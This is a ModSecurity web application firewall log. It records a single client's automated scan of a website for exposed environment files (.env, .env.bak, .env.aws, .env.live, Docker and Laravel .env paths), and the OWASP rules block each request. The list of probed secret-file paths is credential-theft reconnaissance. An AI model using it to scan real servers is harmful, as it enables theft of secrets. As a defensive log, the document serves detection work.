[Mon Oct 26 22:24:28.418384 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "auALXIU8RArHmY5bTmWw6gAAAAY"]
[Mon Oct 26 22:24:28.432542 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auALXHNS3DmvLoCS_mRi4gAAABg"]
[Mon Oct 26 22:24:28.432749 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auALXHNS3DmvLoCS_mRi4gAAABg"]
[Mon Oct 26 22:24:28.433070 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "auALXHNS3DmvLoCS_mRi4gAAABg"]
[Mon Oct 26 22:24:28.485103 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auALXHfB5_cr2AuVp7R30gAAABA"]
[Mon Oct 26 22:24:28.485298 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auALXHfB5_cr2AuVp7R30gAAABA"]
[Mon Oct 26 22:24:28.485540 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auALXHfB5_cr2AuVp7R30gAAABA"]
[Mon Oct 26 22:24:28.498204 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auALXONHR3WH6txPzi7mGQAAAA0"]
[Mon Oct 26 22:24:28.498360 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auALXONHR3WH6txPzi7mGQAAAA0"]
[Mon Oct 26 22:24:28.498604 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auALXONHR3WH6txPzi7mGQAAAA0"]
[Mon Oct 26 22:24:28.499536 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALXEV4AUzwl86DWirnKQAAABI"]
[Mon Oct 26 22:24:28.499678 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALXEV4AUzwl86DWirnKQAAABI"]
[Mon Oct 26 22:24:28.499919 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALXEV4AUzwl86DWirnKQAAABI"]
[Mon Oct 26 22:24:28.500637 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auALXIU8RArHmY5bTmWw6wAAAAY"]
[Mon Oct 26 22:24:28.500786 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auALXIU8RArHmY5bTmWw6wAAAAY"]
[Mon Oct 26 22:24:28.501067 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auALXIU8RArHmY5bTmWw6wAAAAY"]
[Mon Oct 26 22:24:28.517770 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALXHNS3DmvLoCS_mRi4wAAABg"]
[Mon Oct 26 22:24:28.517943 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALXHNS3DmvLoCS_mRi4wAAABg"]
[Mon Oct 26 22:24:28.518166 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auALXHNS3DmvLoCS_mRi4wAAABg"]
[Mon Oct 26 22:24:28.519079 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALXJwShtd1X0LKqV8TSQAAABM"]
[Mon Oct 26 22:24:28.519239 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALXJwShtd1X0LKqV8TSQAAABM"]
[Mon Oct 26 22:24:28.519450 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auALXJwShtd1X0LKqV8TSQAAABM"]
[Mon Oct 26 22:24:28.573688 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALXHfB5_cr2AuVp7R30wAAABA"]
[Mon Oct 26 22:24:28.573968 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALXHfB5_cr2AuVp7R30wAAABA"]
[Mon Oct 26 22:24:28.574110 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALXFEGzjBJO_o-KWJAdgAAAAw"]
[Mon Oct 26 22:24:28.574267 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALXFEGzjBJO_o-KWJAdgAAAAw"]
[Mon Oct 26 22:24:28.574311 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auALXHfB5_cr2AuVp7R30wAAABA"]
[Mon Oct 26 22:24:28.574544 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auALXFEGzjBJO_o-KWJAdgAAAAw"]
[Mon Oct 26 22:24:28.575648 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALXONHR3WH6txPzi7mGgAAAA0"]
[Mon Oct 26 22:24:28.577775 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALXONHR3WH6txPzi7mGgAAAA0"]
[Mon Oct 26 22:24:28.578140 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALXONHR3WH6txPzi7mGgAAAA0"]
[Mon Oct 26 22:24:28.576428 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALXEV4AUzwl86DWirnKgAAABI"]
[Mon Oct 26 22:24:28.578585 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALXEV4AUzwl86DWirnKgAAABI"]
[Mon Oct 26 22:24:28.578837 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALXEV4AUzwl86DWirnKgAAABI"]
[Mon Oct 26 22:24:28.577275 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALXIU8RArHmY5bTmWw7AAAAAY"]
[Mon Oct 26 22:24:28.579300 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALXIU8RArHmY5bTmWw7AAAAAY"]
[Mon Oct 26 22:24:28.579545 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auALXIU8RArHmY5bTmWw7AAAAAY"]
[Mon Oct 26 22:24:28.593410 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALXHNS3DmvLoCS_mRi5AAAABg"]
[Mon Oct 26 22:24:28.593539 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALXHNS3DmvLoCS_mRi5AAAABg"]
